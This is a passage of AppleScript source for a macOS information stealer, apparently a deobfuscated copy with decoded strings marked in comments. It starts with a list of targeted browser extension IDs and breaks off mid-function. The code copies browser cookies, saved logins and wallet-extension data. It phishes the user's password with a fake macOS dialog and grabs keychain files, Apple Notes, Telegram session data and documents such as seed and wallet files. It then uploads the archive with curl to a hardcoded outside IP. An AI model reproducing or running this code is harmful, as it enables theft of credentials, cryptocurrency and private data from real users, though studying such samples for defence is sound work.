"jojhfeoedkpkglbfimdfabpdfjaoolaf", "kamfleanhcmjelnhaeljonilnmjpkcjc", "kbdcddcmgoplfockflacnnefaehaiocb", "keenhcnmdmjjhincpilijphpiohdppno", "kennjipeijpeengjlogfdjkiiadhbmjl", "kfdniefadaanbjodldohaedphafoffoh", "kgdijkcfiglijhaglibaidbipiejjfdp", "kglcipoddmbniebnibibkghfijekllbl", "khhapgacijodhjokkcjmleaempmchlem", "khpkpbbcccdmmclmpigdgddabeilkdpd", "kilnpioakcdndlodeeceffgjdpojajlo", "kjjebdkfeagdoogagbhepmbimaphnfln", "kkilomkmpmkbdnfelcpgckmpcaemjcdh", "kkpllbgjhchghjapjbinnoddmciocphm", "kkpllkodjeloidieedojogacfhpaihoh", "klghhnkeealcohjjanjjdaeeggmfmlpl", "klnaejjgbibmhlephnhpmaofohgkpgkd", "kmcfomidfpdkfieipokbalgegidffkal", "kmhcihpebfmpgmihbkipmjlmmioameka", "kmphdnilpmdejikjdnlbcnmnabepfgkh", "kncchdigobghenbbaddojjnnaogfppfj", "kpfchfdkjhcoekhdldggegebfakaaiog", "kppfdiipphfccemcignhifpjkapfbihd", "lakggbcodlaclcbbbepmkpdhbcomcgkd", "lbjapbcmmceacocpimbpbidpgmlmoaao", "lccbohhgfkdikahanoclbdmaolidjdfl", "lcmncloheoekhbmljjlhdlaobkedjbgd", "ldinpeekobnhjjdofggfgjlcehhmanlj", "lfmmjkfllhmfmkcobchabopkcefjkoip", "lgbjhdkjmpgjgcbcdlhkokkckpjmedgc", "lgmpcpglpngdoalbgeoldeajfclnhafa", "lmkncnlpeipongihbffpljgehamdebgi", "lnnnmfcpbkafcpgdilckhmhbkkbpkmid", "loinekcabhlmhjjbocijdoimmejangoa", "lpfcbjknijpeeillifnkikgncikgfhdo", "lpilbniiabackdjcionkobglmddfbcjo", "mapbhaebnddapnmifbbkgeedkeplgjmf", "mcohilncbfahbmgdjkbpemcciiolgcge", "mdjmfdffdcmnoblignmgpommbefadffd", "mdnaglckomeedfbogeajfajofmfgpoae", "mfgccjchihfkkindfppnaooecgfneiii", "mfhbebgoclkghebffdldpobeajmbecfk", "mgffkfbidihjpoaomajlbgchddlicgpn", "mjgkpalnahacmhkikiommfiomhjipgjn", "mkchoaaiifodcflmbaphdgeidocajadp", "mkpegjkblkkefacfnmkajcjmabijhclg", "mlbnicldlpdimbjdcncnklfempedeipj", "mlhakagmgkmonhdonhkpjeebfphligng", "mmclamjkknobggpiohfneimmnlggagok", "mmhlniccooihdimnnjhamobppdhaolme", "mmmjbcfofconkannjonfmjjajpllddbg", "mnfifefkajgofkcjkemidiaecocnkjeh", "modjfdjcodmehnpccdjngmdfajggaoeh", "momakdpclmaphlamgjcndbgfckjfpemp", "naepdomgkenhinolocfifgehidddafch", "nbdhibgjnjpnkajaghbffjbkcgljfgdi", "nbdpmlhambbdkhkmbfpljckjcmgibalo", "nebnhfamliijlghikdgcigoebonmoibm", "nhbicdelgedinnbcidconlnfeionhbml", "nhlnehondigmgckngjomcpcefcdplmgc", "nhnkbkgjikgcigadomkphalanndcapjk", "niiaamnmgebpeejeemoifgdndgeaekhe", "nkbihfbeogaeaoehlefnkodbefgpgknn", "nknhiehlklippafakaeklbeglecifhad", "nlgbhdfgdhgbiamfdfmbikcdghidoadd", "nlgnepoeokdfodgjkjiblkadkjbdfmgd", "nngceckbapebfimnlniiiahkandclblb", "nopnfnlbinpfoihclomelncopjiioain", "nphplpgoakhhjchkkhmiggakijnkhfnd", "oafedfoadhdjjcipmcbecikgokpaphjk", "oboonakemofpalcgghocfoadofidjkkk", "ocjobpilfplciaddcbafabcegbilnbnb", "oiohdnannmknmdlddkdejbmplhbdcbee", "ojbcfhjmpigfobfclfflafhblgemeidi", "ojggmchlghnjlapmfbnjholfjkiidbch", "omaabbefbmiijedngplfjmnooppbclkk", "onhogfjeacnfoofkfgppdlbmlmnplgbn", "ookjlbkiijinhpmnjffcofjonbfbgaoc", "opcgpfmipidbgpenhmajoajpbobppdil", "opfgelmcmbiajamepnmloijbpoleiama", "panpgppehdchfphcigocleabcmcgfoca", "papngmkmknnmfhabbckobgfpihpdgplk", "pcndjhkinnkaohffealmlmhaepkpmgkb", "pdadjkfkgcafgbceimcpbkalnfnepbnk", "pdliaogehgdbhbnmkklieghmmjkpigpa", "penjlddjkjgpnkllboccdgccekpkcbin", "pfccjkejcgoppjnllalolplgogenfojk", "pgiaagfkgcbnmiiolekcfmljdagdhlcm", "phkbamefinggmakgklpkljjmgibohnba", "pmmnimefaichbcnbndcfpaagbepnjaig", "pnlccmojcmeohlpggmfnbbiapkmbliob", "pnndplcbkakcplkjnolgbkdgjikjednm", "pocmplpaccanhmnllbbkpgfliimjljgo", "ppbibelpcjmhbdihakflkdcoccbgbkpo", "ppdadbejkmjnefldpcdjhnkpbjkikoip"}

on decodeSubtract(encodedValues, keyValues)
set decodedStr to ""
set checksum to 0
repeat with idx from 1 to count of encodedValues
set checksum to (checksum + (item idx of encodedValues)) mod 9999
set decodedStr to decodedStr & (character id ((item idx of encodedValues) - (item idx of keyValues)))
set checksum to (checksum * 3) mod 9999
end repeat
return decodedStr
end decodeSubtract

on decodeAdd(encodedValues, keyValues)
set decodedStr to ""
set checksum to 1
repeat with idx from 1 to count of encodedValues
set checksum to (checksum + (item idx of keyValues)) mod 9999
set decodedStr to decodedStr & (character id ((item idx of encodedValues) + (item idx of keyValues)))
set checksum to checksum + 1
end repeat
return decodedStr
end decodeAdd

on decodeSubConst(encodedValues, keyValues, constantOffset)
set decodedStr to ""
set checksum to 0
repeat with idx from 1 to count of encodedValues
set charCode to ((item idx of encodedValues) - constantOffset)
set charCode to charCode - (item idx of keyValues)
set decodedStr to decodedStr & (character id charCode)
set checksum to (checksum + charCode) mod 9999
end repeat
return decodedStr
end decodeSubConst

on mkdirPath(dirPath)
	try
		set hwyksoup0 to "mkdir -p " -- DECODED
		do shell script hwyksoup0 & quoted form of dirPath
	end try
end mkdirPath

on readFileContents(filePath)
	try
		set posixFile to POSIX file filePath
		set fileData to read posixFile
		return fileData
	end try
	return ""
end readFileContents

on getFileName(filePath)
	try
		set wzdiqcfujfk to (reverse of every character of filePath) as string
		set dfgvejlqvi to (offset of "/" in wzdiqcfujfk) - 1
		set fzrirmuhdgoa to text 1 thru dfgvejlqvi of wzdiqcfujfk
		set dqnmwfga to (reverse of every character of fzrirmuhdgoa) as string
		return dqnmwfga
	end try
	return ""
end getFileName

on getParentDir(filePath)
	try
		set xqcioqahfq to offset of "/" in (reverse of every character of filePath) as string
		set parentDir to text 1 thru -(xqcioqahfq + 1) of filePath
		return parentDir
	end try
	return ""
end getParentDir

on writeToFile(fileContent, filePath)
	try
		set parentDir to getParentDir(filePath)
		mkdirPath(parentDir)
		set fileHandle to (open for access filePath with write permission)
		set eof of fileHandle to 0
		write fileContent to fileHandle starting at eof
		close access fileHandle
	end try
end writeToFile

on copyFile(sourcePath, destPath)
	try
		set parentDir to getParentDir(destPath)
		mkdirPath(parentDir)
		set hwyksoup1 to "cp -f " -- DECODED
		do shell script hwyksoup1 & quoted form of sourcePath & " " & quoted form of destPath
	end try
end copyFile

on isDirectory(dirPath)
	try
		set hwyksoup2 to "file -b " -- DECODED
		set fileType to (do shell script hwyksoup2 & quoted form of dirPath)
		set hwyksoup3 to "directory" -- DECODED
		if fileType ends with hwyksoup3 then
			return true
		end if
	end try
	return false
end isDirectory

on copyDirectoryRecursive(sourcePath, destPath)
	try
		set hwyksoup4 to ".DS_Store" -- DECODED
		set hwyksoup5 to "Partitions" -- DECODED
		set hwyksoup6 to "Code Cache" -- DECODED
		set hwyksoup7 to "Cache" -- DECODED
		set hwyksoup8 to "market-histo" -- DECODED
		set hwyksoup9 to "ry-cache.json" -- DECODED
		set hwyksoup10 to "journals" -- DECODED
		set hwyksoup11 to "Previews" -- DECODED
		set hwyksoup12 to "GPUCache" -- DECODED
		set hwyksoup13 to "DawnCache" -- DECODED
		set hwyksoup14 to "Crashpad" -- DECODED
		set hwyksoup15 to "DawnWebGPUCache" -- DECODED
		set hwyksoup16 to "DawnGraphiteCache" -- DECODED
		set hwyksoup17 to "__update__" -- DECODED
		set hwyksoup18 to "tor" -- DECODED
		set hwyksoup19 to "dumps" -- DECODED
		set hwyksoup20 to "emoji" -- DECODED
		set hwyksoup21 to "user_data" -- DECODED
		set hwyksoup22 to "user_data#2" -- DECODED
		set hwyksoup23 to "user_data#3" -- DECODED
		set excludedDirs to {hwyksoup4, hwyksoup5, hwyksoup6, hwyksoup7, (hwyksoup8 & hwyksoup9), hwyksoup10, hwyksoup11, hwyksoup12, hwyksoup13, hwyksoup14, hwyksoup15, hwyksoup16, hwyksoup17, hwyksoup18, hwyksoup19, hwyksoup20, hwyksoup21, hwyksoup22, hwyksoup23}
		
		set folderItems to list folder sourcePath without invisibles
		mkdirPath(destPath)
		
		repeat with itemRef in folderItems
			set itemName to contents of itemRef
			if itemName is not in excludedDirs then
				set srcItemPath to sourcePath & "/" & itemName
				set dstItemPath to destPath & "/" & itemName
				
				if isDirectory(srcItemPath) then
					copyDirectoryRecursive(srcItemPath, dstItemPath)
				else
					copyFile(srcItemPath, dstItemPath)
				end if
			end if
		end repeat
	end try
end copyDirectoryRecursive

on findProfilePath(filePath, thdtdenwziz)
	try
		set posixFile to POSIX file filePath
		set fileData to read posixFile
		set jlxaqvczs to offset of thdtdenwziz in fileData
		
		if jlxaqvczs is 0 then
			set hwyksoup24 to "not found" -- DECODED
			return hwyksoup24
		end if
		
		set vqcnnoup to jlxaqvczs + (length of thdtdenwziz)
		set bdximdzzxwm to text vqcnnoup thru (vqcnnoup + 55) of fileData
		set kqzguojkonwi to offset of "\\" in bdximdzzxwm
		
		if kqzguojkonwi is 0 then
			set hwyksoup25 to "not found" -- DECODED
			return hwyksoup25
		end if
		
		set extractedValue to text vqcnnoup thru (vqcnnoup + kqzguojkonwi - 2) of fileData
		return extractedValue
	on error
		set hwyksoup26 to "not found" -- DECODED
		return hwyksoup26
	end try
end findProfilePath

on stealFirefoxExtensions(profilePath, stagingDir)
	try
		set hwyksoup27 to "/storage/default/" -- DECODED
		set jzfglxucatcu to profilePath & hwyksoup27
		set zjftqoeox to list folder jzfglxucatcu without invisibles
		
		repeat with gtlootfycp in zjftqoeox
			set hwyksoup28 to "moz-extension" -- DECODED
			if gtlootfycp starts with hwyksoup28 then
				set hwyksoup29 to "/idb/" -- DECODED
				set extensionDir to jzfglxucatcu & gtlootfycp & hwyksoup29
				try
					set idbItems to list folder extensionDir without invisibles
					repeat with idbItem in idbItems
						set hwyksoup30 to ".sqlite" -- DECODED
						if idbItem ends with hwyksoup30 then
							copyFile(extensionDir & idbItem, stagingDir & "/" & gtlootfycp & "/" & idbItem)
						end if
					end repeat
				end try
			end if
		end repeat
	end try
end stealFirefoxExtensions

on stealFirefoxBrowserData(browserName, iwignsggj, stagingDir, browserFlag)
	try
		set hwyksoup31 to "/cookies.sqlite" -- DECODED
		set hwyksoup32 to "/formhistory.sqlite" -- DECODED
		set hwyksoup33 to "/key4.db" -- DECODED
		set hwyksoup34 to "/logins.json" -- DECODED
		set hwyksoup35 to "/extensions.json" -- DECODED
		set browserFiles to {hwyksoup31, hwyksoup32, hwyksoup33, hwyksoup34, hwyksoup35}
		
		set hwyksoup36 to "true" -- DECODED
		if browserFlag is equal to hwyksoup36 then
			set hwyksoup37 to "/places.sqlite" -- DECODED
			set browserFiles to browserFiles & {hwyksoup37}
		end if
		
		set profileList to list folder iwignsggj without invisibles
		
		repeat with profileName in profileList
			set hwyksoup38 to "ff/" -- DECODED
			set browserOutputDir to stagingDir & hwyksoup38 & browserName & "_" & profileName
			
			stealFirefoxExtensions(iwignsggj & profileName, browserOutputDir)
			
			set profilePath to iwignsggj & profileName
			
			repeat with browserFile in browserFiles
				copyFile(profilePath & browserFile, browserOutputDir & browserFile)
			end repeat
		end repeat
	end try
end stealFirefoxBrowserData

on hasTargetExtension(sourcePath, targetNames)
	try
		set folderItems to list folder sourcePath without invisibles
		
		repeat with mpezkjydp in folderItems
			repeat with mvldbrvd in targetNames
				if (mpezkjydp contains mvldbrvd) then
					return true
				end if
			end repeat
		end repeat
	end try
	return false
end hasTargetExtension

on stealMatchingDirs(sourcePath, stagingDir, targetNames, includeSubdirs)
	try
		set folderItems to list folder sourcePath without invisibles
		
		repeat with mpezkjydp in folderItems
			repeat with mvldbrvd in targetNames
				if (mpezkjydp contains mvldbrvd) then
					set matchedPath to sourcePath & mpezkjydp
					set outputPath to stagingDir & "/" & mvldbrvd
					set ydqpsdubv to true
					
					if includeSubdirs then
						set hwyksoup39 to "/IndexedDB/" -- DECODED
						set outputPath to outputPath & hwyksoup39
					end if
					
					if ydqpsdubv then
						copyDirectoryRecursive(matchedPath, outputPath)
					end if
				end if
			end repeat
		end repeat
	end try
end stealMatchingDirs

on stealChromiumBrowserData(stagingDir, browserPaths, browserFlag)
	set hwyksoup40 to "/Network/Cookies" -- DECODED
	set hwyksoup41 to "/Cookies" -- DECODED
	set hwyksoup42 to "/Web Data" -- DECODED
	set hwyksoup43 to "/Login Data" -- DECODED
	set hwyksoup44 to "/Local" -- DECODED
	set hwyksoup45 to " Exten" -- DECODED
	set hwyksoup46 to "sion S" -- DECODED
	set hwyksoup47 to "etting" -- DECODED
	set hwyksoup48 to "s/" -- DECODED
	set hwyksoup49 to "/IndexedDB/" -- DECODED
	set hwyksoup50 to "/Loca" -- DECODED
	set hwyksoup51 to "l Sto" -- DECODED
	set hwyksoup52 to "rage/" -- DECODED
	set hwyksoup53 to "level" -- DECODED
	set hwyksoup54 to "db/" -- DECODED
	set browserFiles to {hwyksoup40, hwyksoup41, hwyksoup42, hwyksoup43, (hwyksoup44 & hwyksoup45 & hwyksoup46 & hwyksoup47 & hwyksoup48), hwyksoup49, (hwyksoup50 & hwyksoup51 & hwyksoup52 & hwyksoup53 & hwyksoup54)}
	
	set hwyksoup55 to "true" -- DECODED
	if browserFlag is equal to hwyksoup55 then
		set hwyksoup56 to "/History" -- DECODED
		set browserFiles to browserFiles & {hwyksoup56}
	end if
	
	repeat with zctzvrbhtfey in browserPaths
		set browserName to item 1 of zctzvrbhtfey
		set profileDir to item 2 of zctzvrbhtfey
		set hwyksoup57 to "Chromium/" -- DECODED
		set bnrjxjahl to stagingDir & hwyksoup57 & browserName & "_"
		
		try
			set profileList to list folder profileDir without invisibles
			
			repeat with profileName in profileList
				set hwyksoup58 to "Default" -- DECODED
				set hwyksoup59 to "Profile" -- DECODED
				if ((profileName as string) is equal to hwyksoup58) or ((profileName as string) contains hwyksoup59) then
					
				set foundTargetExt to false
				
				repeat with jrwsevlksd in browserFiles
					set sourcePath to (profileDir & profileName & jrwsevlksd)
					
					set rrdkrigk to jrwsevlksd
					set hwyksoup60 to "/Network/Cookies" -- DECODED
					if ((jrwsevlksd as string) is equal to hwyksoup60) then
						set hwyksoup61 to "/Cookies" -- DECODED
						set rrdkrigk to hwyksoup61
					end if
					
					set hwyksoup62 to "/Local" -- DECODED
					set hwyksoup63 to " Exten" -- DECODED
					set hwyksoup64 to "sion S" -- DECODED
					set hwyksoup65 to "etting" -- DECODED
					set hwyksoup66 to "s/" -- DECODED
					set hwyksoup67 to "/IndexedDB/" -- DECODED
					set hwyksoup68 to "/Local Stor" -- DECODED
					set hwyksoup69 to "age/leveldb/" -- DECODED
					if ((jrwsevlksd as string) is equal to (hwyksoup62 & hwyksoup63 & hwyksoup64 & hwyksoup65 & hwyksoup66)) then
						if hasTargetExtension(sourcePath, targetExtensionIds) then
							set foundTargetExt to true
						end if
						stealMatchingDirs(sourcePath, bnrjxjahl & profileName, targetExtensionIds, false)
						
					else if (jrwsevlksd as string) is equal to hwyksoup67 then
						if hasTargetExtension(sourcePath, targetExtensionIds) then
							set foundTargetExt to true
						end if
						stealMatchingDirs(sourcePath, bnrjxjahl & profileName, targetExtensionIds, true)
						
					else if (jrwsevlksd as string) is equal to (hwyksoup68 & hwyksoup69) then
						if foundTargetExt then
							set hwyksoup70 to "/Local " -- DECODED
							set hwyksoup71 to "Storage" -- DECODED
							set hwyksoup72 to "/leveld" -- DECODED
							set hwyksoup73 to "b/" -- DECODED
							set destPath to bnrjxjahl & profileName & (hwyksoup70 & hwyksoup71 & hwyksoup72 & hwyksoup73)
							copyDirectoryRecursive(sourcePath, destPath)
						end if
						
					else
						set destPath to bnrjxjahl & profileName & rrdkrigk
						copyFile(sourcePath, destPath)
					end if
				end repeat
				end if
			end repeat
		end try
	end repeat
end stealChromiumBrowserData

on validatePassword(username, password)
	try
		set hwyksoup74 to "dscl . authonly " -- DECODED
		set cmdResult to do shell script hwyksoup74 & quoted form of username & space & quoted form of password
		if cmdResult is not equal to "" then
			return false
		else
			return true
		end if
	on error
		return false
	end try
end validatePassword

on promptForPassword(username, stagingDir)
	try
		if validatePassword(username, "") then
			set hwyksoup75 to "security 2>&1 > /de" -- DECODED
			set hwyksoup76 to "v/null find-generic" -- DECODED
			set hwyksoup77 to "-password -ga 'Chro" -- DECODED
			set hwyksoup78 to "me' | awk '{print $" -- DECODED
			set hwyksoup79 to "2}'" -- DECODED
			set chromePassword to do shell script (hwyksoup75 & hwyksoup76 & hwyksoup77 & hwyksoup78 & hwyksoup79)
			set hwyksoup80 to "masterpass-chrome" -- DECODED
			writeToFile(chromePassword as string, stagingDir & hwyksoup80)
		else
			set firstAttempt to true
			repeat
				if firstAttempt then
					set hwyksoup81 to "macOS wants to make changes. " -- DECODED
					set hwyksoup82 to "Enter the password for user \"" -- DECODED
					set hwyksoup83 to "\" to allow this." -- DECODED
					set promptMsg to (hwyksoup81 & hwyksoup82) & username & hwyksoup83
				else
					set hwyksoup84 to "The password you entered is incorrect" -- DECODED
					set hwyksoup85 to ". Please enter the password for user \"" -- DECODED
					set promptMsg to (hwyksoup84 & hwyksoup85) & username & "\"."
				end if
				set hwyksoup86 to "macOS" -- DECODED
				set ttkbntvgcena to display dialog promptMsg default answer "" with icon caution buttons {"OK"} default button "OK" with hidden answer with title hwyksoup86
				set enteredPassword to text returned of ttkbntvgcena
				set firstAttempt to false
				if validatePassword(username, enteredPassword) then
					return enteredPassword
				end if
			end repeat
		end if
	end try
	return ""
end promptForPassword

on stealSafariKeychainNotes(stagingDir)
	try
		set hwyksoup87 to "FileGrabber/" -- DECODED
		set grabberDir to stagingDir & hwyksoup87
		set grabberPosix to POSIX file grabberDir
		set hwyksoup88 to "NotesMedia/" -- DECODED
		set mediaOutputDir to POSIX file (grabberDir & hwyksoup88)
		
		set hwyksoup89 to "txt" -- DECODED
		set hwyksoup90 to "pdf" -- DECODED
		set hwyksoup91 to "docx" -- DECODED
		set hwyksoup92 to "wallet" -- DECODED
		set hwyksoup93 to "key" -- DECODED
		set hwyksoup94 to "keys" -- DECODED
		set hwyksoup95 to "doc" -- DECODED
		set hwyksoup96 to "jpeg" -- DECODED
		set hwyksoup97 to "png" -- DECODED
		set hwyksoup98 to "kdbx" -- DECODED
		set hwyksoup99 to "rtf" -- DECODED
		set hwyksoup100 to "jpg" -- DECODED
		set hwyksoup101 to "seed" -- DECODED
		set targetFileExts to {hwyksoup89, hwyksoup90, hwyksoup91, hwyksoup92, hwyksoup93, hwyksoup94, hwyksoup95, hwyksoup96, hwyksoup97, hwyksoup98, hwyksoup99, hwyksoup100, hwyksoup101}
		
		set fileSizeTotal to 0
		set mediaSizeTotal to 0
		
		set hwyksoup102 to "system_profiler SPHardwareDataT" -- DECODED
		set hwyksoup103 to "ype | awk '/UUID/ { print $3 }'" -- DECODED
		set keychainUuid to do shell script (hwyksoup102 & hwyksoup103)
		
		mkdirPath(grabberPosix)
		mkdirPath(mediaOutputDir)
		
		tell application "Finder"
			try
				set rildrfevav to (path to home folder as text) & "Library:Cookies:"
				set ncpqxcuhj to (rildrfevav & "Cookies.binarycookies")
				duplicate (file ncpqxcuhj) to (folder grabberPosix) with replacing
				set name of result to "saf1"
			end try
			
			set guboelkchm to ((path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:")
			try
				duplicate (file "Cookies.binarycookies" of folder guboelkchm) to (folder grabberPosix) with replacing
			end try
			
			set jbecclcedtyl to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"
			try
				set tlsrtylmajau to folder jbecclcedtyl
				set vhnnxmqzut to {"NoteStore.sqlite", "NoteStore.sqlite-shm", "NoteStore.sqlite-wal"}
				
				repeat with zrvojtlq in vhnnxmqzut
					try
						duplicate (file zrvojtlq of tlsrtylmajau) to (folder grabberPosix) with replacing
					end try
				end repeat
			end try
			
			set hvszawhl to (jbecclcedtyl & "Accounts:")
			try
				set lrxklaspaprl to folder hvszawhl
				set bufxiyco to every folder of lrxklaspaprl
				
				repeat with pkdjfjnpjmh in bufxiyco
					set jhjqlrzst to hvszawhl & name of pkdjfjnpjmh & ":Media:"
					set atfawjidrm to every folder of (folder jhjqlrzst)
					
					repeat with iamudktaa in atfawjidrm
						set ohovkfcak to jhjqlrzst & name of iamudktaa
						set gowuvhzxmrf to every folder of (folder ohovkfcak)
						
						repeat with whnnfrssbx in gowuvhzxmrf
							set bpdximpszke to every file of whnnfrssbx
							
							repeat with noanigilaci in bpdximpszke
								try
									set uhjlmkmn to size of noanigilaci as text
									set mediaSizeTotal to mediaSizeTotal + uhjlmkmn
									
									if mediaSizeTotal < 30 * 1024 * 1024 then
										duplicate noanigilaci to mediaOutputDir with replacing
									else
										exit repeat
									end if
								end try
							end repeat
						end repeat
					end repeat
				end repeat
			end try
			
			try
				set efwwdlxecjb to (path to library folder from user domain as text) & "Safari:"
				duplicate (file "Form Values" of folder efwwdlxecjb) to grabberPosix with replacing
			end try
			
			try
				set ecbyemblka to (path to library folder from user domain as text) & "Keychains:" & keychainUuid
				duplicate (folder ecbyemblka) to grabberPosix with replacing
			end try
			
			try
				set rmpbnwdevbv to every file of desktop
				set zmppantsdrp to every file of folder "Documents" of (path to home folder)
				
				repeat with ddhtfsuoh in (rmpbnwdevbv & zmppantsdrp)
					set abuxgwuwnwnd to name extension of ddhtfsuoh
					
					if abuxgwuwnwnd is in targetFileExts then
						set uhjlmkmn to size of ddhtfsuoh
						
						if (fileSizeTotal + uhjlmkmn) < 30 * 1024 * 1024 then
							try
								duplicate ddhtfsuoh to (folder grabberPosix) with replacing
								set fileSizeTotal to fileSizeTotal + uhjlmkmn
							end try
						else
							exit repeat
						end if
					end if
				end repeat
			end try
		end tell
	end try
end stealSafariKeychainNotes

on stealAppleNotes(stagingDir)
	try
		set notesText to ""
		set tdvqikmfhaje to 0
		
		tell application "Notes"
			set notesList to {}
			set yssphqkuz to every account
			
			repeat with tennnblkevqi in yssphqkuz
				try
					set gsmctkynl to properties of every note in tennnblkevqi
					set tdvqikmfhaje to tdvqikmfhaje + (length of gsmctkynl)
					
					repeat with zfdtgahniyq in gsmctkynl
						try
							set gedjyiwjq to (creation date of zfdtgahniyq) & return & (body of zfdtgahniyq)
							copy gedjyiwjq to end of notesList
						end try
					end repeat
				end try
			end repeat
			
			set notesText to notesList as text
		end tell
		
		if tdvqikmfhaje > 0 then
			set hwyksoup104 to "<h1>Notes Count: " -- DECODED
			set hwyksoup105 to "</h1> <br><br><br> " -- DECODED
			set notesHtml to hwyksoup104 & (tdvqikmfhaje as text) & hwyksoup105 & notesText
			set hwyksoup106 to "FileGrabber" -- DECODED
			set hwyksoup107 to "/notes.html" -- DECODED
			writeToFile(notesHtml, stagingDir & (hwyksoup106 & hwyksoup107))
		end if
	end try
end stealAppleNotes

on stealTelegramData(stagingDir, appDataDir)
	try
		set hwyksoup108 to "Telegram De" -- DECODED
		set hwyksoup109 to "sktop/tdata/" -- DECODED
		set telegramDataDir to appDataDir & (hwyksoup108 & hwyksoup109)
		set hwyksoup110 to "Telegram Data/" -- DECODED
		set telegramOutputDir to stagingDir & hwyksoup110
		
		set hwyksoup111 to "key_datas" -- DECODED
		set hwyksoup112 to "key_datas" -- DECODED
		copyFile(telegramDataDir & hwyksoup111, telegramOutputDir & hwyksoup112)
		
		set fxzagdbqdc to list folder telegramDataDir without invisibles
		set ktijoouxit to {}
		
		repeat with itemName in fxzagdbqdc
			set xemnagxey to itemName & "s"
			if xemnagxey is in fxzagdbqdc then
				copy itemName to end of ktijoouxit
			end if
		end repeat
		
		repeat with alcdtgkrwxd in ktijoouxit
			copyFile(telegramDataDir & alcdtgkrwxd & "s", telegramOutputDir & alcdtgkrwxd & "s")
			set hwyksoup113 to "/maps" -- DECODED
			set hwyksoup114 to "/maps" -- DECODED
			copyFile(telegramDataDir & alcdtgkrwxd & hwyksoup113, telegramOutputDir & alcdtgkrwxd & hwyksoup114)
		end repeat
	end try
end stealTelegramData

on uploadLargeFile(exfilUrl, username, buildId, clientId, chunkNum)
	set icqqrkvfb to 26214400
	set hwyksoup115 to "-H \"user: " -- DECODED
	set hwyksoup116 to "\" -H \"BuildID: " -- DECODED
	set hwyksoup117 to "\" -H \"cl: " -- DECODED
	set hwyksoup118 to "\" -H \"cn: " -- DECODED
	set curlHeaders to hwyksoup115 & username & hwyksoup116 & buildId & hwyksoup117 & clientId & hwyksoup118 & chunkNum & "\""
	
	set hwyksoup119 to "stat -f%z /" -- DECODED
	set hwyksoup120 to "tmp/out.zip" -- DECODED
	set uhjlmkmn to (do shell script (hwyksoup119 & hwyksoup120)) as integer
	
	if uhjlmkmn is less than or equal to icqqrkvfb then
		uploadSmallFile(exfilUrl, curlHeaders)
		return
	end if
	
	set hwyksoup121 to "split -b " -- DECODED
	set hwyksoup122 to " /tmp/" -- DECODED
	set hwyksoup123 to "out.zi" -- DECODED
	set hwyksoup124 to "p /tmp" -- DECODED
	set hwyksoup125 to "/chunk_" -- DECODED
	do shell script hwyksoup121 & icqqrkvfb & (hwyksoup122 & hwyksoup123 & hwyksoup124 & hwyksoup125)
	set hwyksoup126 to "head -c 8 " -- DECODED
	set hwyksoup127 to "/dev/urand" -- DECODED
	set hwyksoup128 to "om | xxd -p" -- DECODED
	set uploadId to do shell script (hwyksoup126 & hwyksoup127 & hwyksoup128)
	set hwyksoup129 to "ls -1 " -- DECODED
	set hwyksoup130 to "/tmp/c" -- DECODED
	set hwyksoup131 to "hunk_*" -- DECODED
	set hwyksoup132 to " | sort" -- DECODED
	set chunkList to paragraphs of (do shell script (hwyksoup129 & hwyksoup130 & hwyksoup131 & hwyksoup132))
	set chunkCount to count of chunkList
	
	set allUploaded to true
	repeat with qpoczvgi from 1 to chunkCount
		set chunkFile to item qpoczvgi of chunkList
		set chunkIndex to (qpoczvgi - 1) as text
		set hwyksoup133 to " -H \"X-Chunk-ID: " -- DECODED
		set hwyksoup134 to "\" -H \"X-Chunk-Part: " -- DECODED
		set hwyksoup135 to "\" -H \"X-Ch" -- DECODED
		set hwyksoup136 to "unk-Total: " -- DECODED
		set chunkCurlCmd to curlHeaders & hwyksoup133 & uploadId & hwyksoup134 & chunkIndex & (hwyksoup135 & hwyksoup136) & (chunkCount as text) & "\""
		set uploadSuccess to false
		repeat with zgkrofrw from 1 to 3
			try
				set hwyksoup137 to "curl --conne" -- DECODED
				set hwyksoup138 to "ct-timeout 1" -- DECODED
				set hwyksoup139 to "20 --max-tim" -- DECODED
				set hwyksoup140 to "e 300 -X POS" -- DECODED
				set hwyksoup141 to "T " -- DECODED
				set hwyksoup142 to " -F \"file=@" -- DECODED
				set hwyksoup143 to "/contact" -- DECODED
				do shell script (hwyksoup137 & hwyksoup138 & hwyksoup139 & hwyksoup140 & hwyksoup141) & chunkCurlCmd & hwyksoup142 & chunkFile & "\" " & exfilUrl & hwyksoup143
				set uploadSuccess to true
				exit repeat
			end try
			delay 10
		end repeat
		if not uploadSuccess then
			set allUploaded to false
		end if
	end repeat
	
	set hwyksoup144 to "rm -f /tmp/chunk_*" -- DECODED
	do shell script hwyksoup144
	
	if allUploaded then return
	
	set hwyksoup145 to "http://92.246.136.14" -- DECODED
	set fallbackUrl to hwyksoup145
	repeat with zgkrofrw from 1 to 3
		try
			set hwyksoup146 to "curl --connect-t" -- DECODED
			set hwyksoup147 to "imeout 180 --max" -- DECODED
			set hwyksoup148 to "-time 600 -X POS" -- DECODED
			set hwyksoup149 to "T " -- DECODED
			set hwyksoup150 to " -F \"file=@/" -- DECODED
			set hwyksoup151 to "tmp/out.zip\" " -- DECODED
			set hwyksoup152 to "/contact" -- DECODED
			set fallbackCmd to (hwyksoup146 & hwyksoup147 & hwyksoup148 & hwyksoup149) & curlHeaders & (hwyksoup150 & hwyksoup151) & fallbackUrl & hwyksoup152
			do shell script fallbackCmd
			return
		end try
		delay 15
	end repeat
end uploadLargeFile

on uploadSmallFile(exfilUrl, curlHeaders)
	repeat with zgkrofrw from 1 to 3
		try
			set hwyksoup153 to "curl --connect-timeout 12" -- DECODED
			set hwyksoup154 to "0 --max-time 300 -X POST " -- DECODED
			set hwyksoup155 to " -F \"file=@/" -- DECODED
			set hwyksoup156 to "tmp/out.zip\" " -- DECODED
			set hwyksoup157 to "/contact" -- DECODED
			do shell script (hwyksoup153 & hwyksoup154) & curlHeaders & (hwyksoup155 & hwyksoup156) & exfilUrl & hwyksoup157
			return
		end try
		delay 15
	end repeat
	set hwyksoup158 to "http://92.246.136.14" -- DECODED
	set fallbackUrl to hwyksoup158
	repeat with zgkrofrw from 1 to 3
		try
			set hwyksoup159 to "curl --connect-t" -- DECODED
			set hwyksoup160 to "imeout 120 --max" -- DECODED
			set hwyksoup161 to "-time 300 -X POS" -- DECODED
			set hwyksoup162 to "T " -- DECODED
			set hwyksoup163 to " -F \"f" -- DECODED
			set hwyksoup164 to "ile=@/" -- DECODED
			set hwyksoup165 to "tmp/ou" -- DECODED
			set hwyksoup166 to "t.zip\" " -- DECODED
			set hwyksoup167 to "/contact" -- DECODED
